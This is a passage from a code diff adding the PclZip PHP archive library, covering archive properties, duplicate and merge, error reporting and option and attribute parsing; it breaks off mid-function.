+  //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered.
+  // --------------------------------------------------------------------------------
+  function deleteByIndex($p_index)
+  {
+
+    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : properties()
+  // Description :
+  //   This method gives the properties of the archive.
+  //   The properties are :
+  //     nb : Number of files in the archive
+  //     comment : Comment associated with the archive file
+  //     status : not_exist, ok
+  // Parameters :
+  //   None
+  // Return Values :
+  //   0 on failure,
+  //   An array with the archive properties.
+  // --------------------------------------------------------------------------------
+  function properties()
+  {
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      $this->privSwapBackMagicQuotes();
+      return(0);
+    }
+
+    // ----- Default properties
+    $v_prop = array();
+    $v_prop['comment'] = '';
+    $v_prop['nb'] = 0;
+    $v_prop['status'] = 'not_exist';
+
+    // ----- Look if file exists
+    if (@is_file($this->zipname))
+    {
+      // ----- Open the zip file
+      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+      {
+        $this->privSwapBackMagicQuotes();
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+        // ----- Return
+        return 0;
+      }
+
+      // ----- Read the central directory informations
+      $v_central_dir = array();
+      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        return 0;
+      }
+
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Set the user attributes
+      $v_prop['comment'] = $v_central_dir['comment'];
+      $v_prop['nb'] = $v_central_dir['entries'];
+      $v_prop['status'] = 'ok';
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_prop;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : duplicate()
+  // Description :
+  //   This method creates an archive by copying the content of an other one. If
+  //   the archive already exist, it is replaced by the new one without any warning.
+  // Parameters :
+  //   $p_archive : The filename of a valid archive, or
+  //                a valid PclZip object.
+  // Return Values :
+  //   1 on success.
+  //   0 or a negative value on error (error code).
+  // --------------------------------------------------------------------------------
+  function duplicate($p_archive)
+  {
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the $p_archive is a PclZip object
+    if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
+    {
+
+      // ----- Duplicate the archive
+      $v_result = $this->privDuplicate($p_archive->zipname);
+    }
+
+    // ----- Look if the $p_archive is a string (so a filename)
+    else if (is_string($p_archive))
+    {
+
+      // ----- Check that $p_archive is a valid zip file
+      // TBC : Should also check the archive format
+      if (!is_file($p_archive)) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
+        $v_result = PCLZIP_ERR_MISSING_FILE;
+      }
+      else {
+        // ----- Duplicate the archive
+        $v_result = $this->privDuplicate($p_archive);
+      }
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : merge()
+  // Description :
+  //   This method merge the $p_archive_to_add archive at the end of the current
+  //   one ($this).
+  //   If the archive ($this) does not exist, the merge becomes a duplicate.
+  //   If the $p_archive_to_add archive does not exist, the merge is a success.
+  // Parameters :
+  //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
+  //                       or a PclZip object archive.
+  // Return Values :
+  //   1 on success,
+  //   0 or negative values on error (see below).
+  // --------------------------------------------------------------------------------
+  function merge($p_archive_to_add)
+  {
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Look if the $p_archive_to_add is a PclZip object
+    if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
+    {
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($p_archive_to_add);
+    }
+
+    // ----- Look if the $p_archive_to_add is a string (so a filename)
+    else if (is_string($p_archive_to_add))
+    {
+
+      // ----- Create a temporary archive
+      $v_object_archive = new PclZip($p_archive_to_add);
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($v_object_archive);
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : errorCode()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorCode()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorCode());
+    }
+    else {
+      return($this->error_code);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorName()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorName($p_with_code=false)
+  {
+    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
+                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
+                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
+                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
+                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
+                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
+                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
+                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
+                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
+                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
+                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
+                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
+                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
+                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
+                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
+                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
+                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
+                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
+                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
+                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
+                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
+                    );
+
+    if (isset($v_name[$this->error_code])) {
+      $v_value = $v_name[$this->error_code];
+    }
+    else {
+      $v_value = 'NoName';
+    }
+
+    if ($p_with_code) {
+      return($v_value.' ('.$this->error_code.')');
+    }
+    else {
+      return($v_value);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorInfo()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorInfo($p_full=false)
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorString());
+    }
+    else {
+      if ($p_full) {
+        return($this->errorName(true)." : ".$this->error_string);
+      }
+      else {
+        return($this->error_string." [code ".$this->error_code."]");
+      }
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
+// *****                                                        *****
+// *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
+// --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFormat()
+  // Description :
+  //   This method check that the archive exists and is a valid zip archive.
+  //   Several level of check exists. (futur)
+  // Parameters :
+  //   $p_level : Level of check. Default 0.
+  //              0 : Check the first bytes (magic codes) (default value))
+  //              1 : 0 + Check the central directory (futur)
+  //              2 : 1 + Check each file header (futur)
+  // Return Values :
+  //   true on success,
+  //   false on error, the error code is set.
+  // --------------------------------------------------------------------------------
+  function privCheckFormat($p_level=0)
+  {
+    $v_result = true;
+
+	// ----- Reset the file system cache
+    clearstatcache();
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the file exits
+    if (!is_file($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
+      return(false);
+    }
+
+    // ----- Check that the file is readeable
+    if (!is_readable($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
+      return(false);
+    }
+
+    // ----- Check the magic code
+    // TBC
+
+    // ----- Check the central header
+    // TBC
+
+    // ----- Check each file header
+    // TBC
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privParseOptions()
+  // Description :
+  //   This internal methods reads the variable list of arguments ($p_options_list,
+  //   $p_size) and generate an array with the options and values ($v_result_list).
+  //   $v_requested_options contains the options that can be present and those that
+  //   must be present.
+  //   $v_requested_options is an array, with the option value as key, and 'optional',
+  //   or 'mandatory' as value.
+  // Parameters :
+  //   See above.
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
+  {
+    $v_result=1;
+
+    // ----- Read the options
+    $i=0;
+    while ($i<$p_size) {
+
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$p_options_list[$i]])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for next option
+      switch ($p_options_list[$i]) {
+        // ----- Look for options that request a path value
+        case PCLZIP_OPT_PATH :
+        case PCLZIP_OPT_REMOVE_PATH :
+        case PCLZIP_OPT_ADD_PATH :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
+          $i++;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+            return PclZip::errorCode();
+          }
+
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
+            return PclZip::errorCode();
+          }
+
+          // ----- Check the value
+          $v_value = $p_options_list[$i+1];
+          if ((!is_integer($v_value)) || ($v_value<0)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value (and convert it in bytes)
+          $v_result_list[$p_options_list[$i]] = $v_value*1048576;
+          $i++;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_ON :
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
+            return PclZip::errorCode();
+          }
+
+          $v_result_list[$p_options_list[$i]] = true;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_OFF :
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
+            return PclZip::errorCode();
+          }
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
+            return PclZip::errorCode();
+          }
+
+          $v_result_list[$p_options_list[$i]] = true;
+        break;
+
+        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (   is_string($p_options_list[$i+1])
+              && ($p_options_list[$i+1] != '')) {
+            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
+            $i++;
+          }
+          else {
+          }
+        break;
+
+        // ----- Look for options that request an array of string for value
+        case PCLZIP_OPT_BY_NAME :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+          $i++;
+        break;
+
+        // ----- Look for options that request an EREG or PREG expression
+        case PCLZIP_OPT_BY_EREG :
+          // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
+          // to PCLZIP_OPT_BY_PREG
+          $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
+        case PCLZIP_OPT_BY_PREG :
+        //case PCLZIP_OPT_CRYPT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+          $i++;
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_OPT_COMMENT :
+        case PCLZIP_OPT_ADD_COMMENT :
+        case PCLZIP_OPT_PREPEND_COMMENT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
+			                     "Missing parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
+			                     "Wrong parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+          $i++;
+        break;
+
+        // ----- Look for options that request an array of index
+        case PCLZIP_OPT_BY_INDEX :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_work_list = array();
+          if (is_string($p_options_list[$i+1])) {
+
+              // ----- Remove spaces
+              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
+
+              // ----- Parse items
+              $v_work_list = explode(",", $p_options_list[$i+1]);
+          }
+          else if (is_integer($p_options_list[$i+1])) {
+              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              $v_work_list = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Reduce the index list
+          // each index item in the list must be a couple with a start and
+          // an end value : [0,3], [5-5], [8-10], ...
+          // ----- Check the format of each item
+          $v_sort_flag=false;
+          $v_sort_value=0;
+          for ($j=0; $j<sizeof($v_work_list); $j++) {
+              // ----- Explode the item
+              $v_item_list = explode("-", $v_work_list[$j]);
+              $v_size_item_list = sizeof($v_item_list);
+
+              // ----- TBC : Here we might check that each item is a
+              // real integer ...
+
+              // ----- Look for single value
+              if ($v_size_item_list == 1) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
+              }
+              elseif ($v_size_item_list == 2) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
+              }
+              else {
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  return PclZip::errorCode();
+              }
+
+
+              // ----- Look for list sort
+              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
+                  $v_sort_flag=true;
+
+                  // ----- TBC : An automatic sort should be writen ...
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  return PclZip::errorCode();
+              }
+              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
+          }
+
+          // ----- Sort the items
+          if ($v_sort_flag) {
+              // TBC : To Be Completed
+          }
+
+          // ----- Next option
+          $i++;
+        break;
+
+        // ----- Look for options that request no value
+        case PCLZIP_OPT_REMOVE_ALL_PATH :
+        case PCLZIP_OPT_EXTRACT_AS_STRING :
+        case PCLZIP_OPT_NO_COMPRESSION :
+        case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
+        case PCLZIP_OPT_REPLACE_NEWER :
+        case PCLZIP_OPT_STOP_ON_ERROR :
+          $v_result_list[$p_options_list[$i]] = true;
+        break;
+
+        // ----- Look for options that request an octal value
+        case PCLZIP_OPT_SET_CHMOD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          $i++;
+        break;
+
+        // ----- Look for options that request a call-back
+        case PCLZIP_CB_PRE_EXTRACT :
+        case PCLZIP_CB_POST_EXTRACT :
+        case PCLZIP_CB_PRE_ADD :
+        case PCLZIP_CB_POST_ADD :
+        /* for futur use
+        case PCLZIP_CB_PRE_DELETE :
+        case PCLZIP_CB_POST_DELETE :
+        case PCLZIP_CB_PRE_LIST :
+        case PCLZIP_CB_POST_LIST :
+        */
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_function_name = $p_options_list[$i+1];
+
+          // ----- Check that the value is a valid existing function
+          if (!function_exists($v_function_name)) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+
+          // ----- Set the attribute
+          $v_result_list[$p_options_list[$i]] = $v_function_name;
+          $i++;
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Unknown parameter '"
+							   .$p_options_list[$i]."'");
+
+          // ----- Return
+          return PclZip::errorCode();
+      }
+
+      // ----- Next options
+      $i++;
+    }
+
+    // ----- Look for mandatory options
+    if ($v_requested_options !== false) {
+      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+        // ----- Look for mandatory option
+        if ($v_requested_options[$key] == 'mandatory') {
+          // ----- Look if present
+          if (!isset($v_result_list[$key])) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+
+            // ----- Return
+            return PclZip::errorCode();
+          }
+        }
+      }
+    }
+
+    // ----- Look for default values
+    if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
+
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOptionDefaultThreshold()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privOptionDefaultThreshold(&$p_options)
+  {
+    $v_result=1;
+
+    if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+        || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
+      return $v_result;
+    }
+
+    // ----- Get 'memory_limit' configuration value
+    $v_memory_limit = ini_get('memory_limit');
+    $v_memory_limit = trim($v_memory_limit);
+    $v_memory_limit_int = (int) $v_memory_limit;
+    $last = strtolower(substr($v_memory_limit, -1));
+
+    if($last == 'g')
+        //$v_memory_limit_int = $v_memory_limit_int*1024*1024*1024;
+        $v_memory_limit_int = $v_memory_limit_int*1073741824;
+    if($last == 'm')
+        //$v_memory_limit_int = $v_memory_limit_int*1024*1024;
+        $v_memory_limit_int = $v_memory_limit_int*1048576;
+    if($last == 'k')
+        $v_memory_limit_int = $v_memory_limit_int*1024;
+
+    $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit_int*PCLZIP_TEMPORARY_FILE_RATIO);
+
+
+    // ----- Sanity check : No threshold if value lower than 1M
+    if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
+      unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrParseAtt()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
+  {
+    $v_result=1;
+
+    // ----- For each file in the list check the attributes
+    foreach ($p_file_list as $v_key => $v_value) {
+
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$v_key])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for attribute
+      switch ($v_key) {
+        case PCLZIP_ATT_FILE_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
+
+          if ($p_filedescr['filename'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
+
+          if ($p_filedescr['new_short_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_FULL_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
+
+          if ($p_filedescr['new_full_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_ATT_FILE_COMMENT :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['comment'] = $v_value;
+        break;
+
+        case PCLZIP_ATT_FILE_MTIME :
+          if (!is_integer($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['mtime'] = $v_value;
+        break;
+
+        case PCLZIP_ATT_FILE_CONTENT :
+          $p_filedescr['content'] = $v_value;
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                           "Unknown parameter '".$v_key."'");
+
+          // ----- Return
+          return PclZip::errorCode();
+      }
+
+      // ----- Look for mandatory options
+      if ($v_requested_options !== false) {
+        for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+          // ----- Look for mandatory option
+          if ($v_requested_options[$key] == 'mandatory') {
+            // ----- Look if present
+            if (!isset($p_file_list[$key])) {
